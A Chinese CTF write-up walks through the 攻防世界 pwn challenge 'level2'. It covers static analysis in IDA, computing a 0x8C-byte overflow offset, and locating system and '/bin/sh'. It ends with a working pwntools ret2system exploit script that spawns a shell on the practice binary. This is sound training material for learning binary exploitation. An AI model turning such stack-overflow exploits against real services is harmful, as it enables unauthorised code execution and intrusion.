pwn 例题level2解析

题目来源:攻防世界——pwn——level2

1、查壳

分析可知,该文件为ELF文件,32位,几乎无保护措施

2、使用IDA静态分析

 先看main函数,较为简单,比较显眼的是名叫vulnerable_function函数

 从右侧函数栏找到它,双击查看反汇编代码

 可以看到存在一个缓冲区buf,并且大小为0x88,并且该函数返回了一个read函数,大小为0x100u,双击&buf变量具体查看

 

 看开头英文变量以及观察末尾,可知Frame Size大小为0x88,Saved regs大小为0x04,即需要写0x88+0x04个填充后才能到达返回地址

下面就是寻找bin/sh了,由于题目较为基础,我们甚至能够直接在源代码中找到/bin/sh,利用它和main函数已存在的system函数,即可凑齐构造payload的全部材料

无论遇到什么题目,即使机会渺茫,找/bin/sh的第一步仍然是直接按shift+F12,从源代码中寻找/bin/sh的字符串,果然不出所料:

 通过这种套路,确实获得了/bin/sh的地址!下面就是构造payload了,用法:

   payload = 'a' * (offset) + sys_addr + ret_add + sh_addr

于是:

from pwn import *

context.log_level = 'debug'
i = process('./level2')
elf = ELF('./level2')

system_addr = elf.symbols['system'] #system的起始地址
binsh_addr =0x0804A024
payload = 'a'*0x88+'a'*0x4 + p32(system_addr).decode('unicode_escape') + p32(0).decode('unicode_escape') + p32(binsh_addr).decode('unicode_escape')


i.sendlineafter('Input:',payload)
i.interactive()

运行该代码,即可获得shell!

 3、总结

        1、做题先查壳

        2、熟悉read、system函数

        3、找/bin/sh先查字符串

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

florian.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值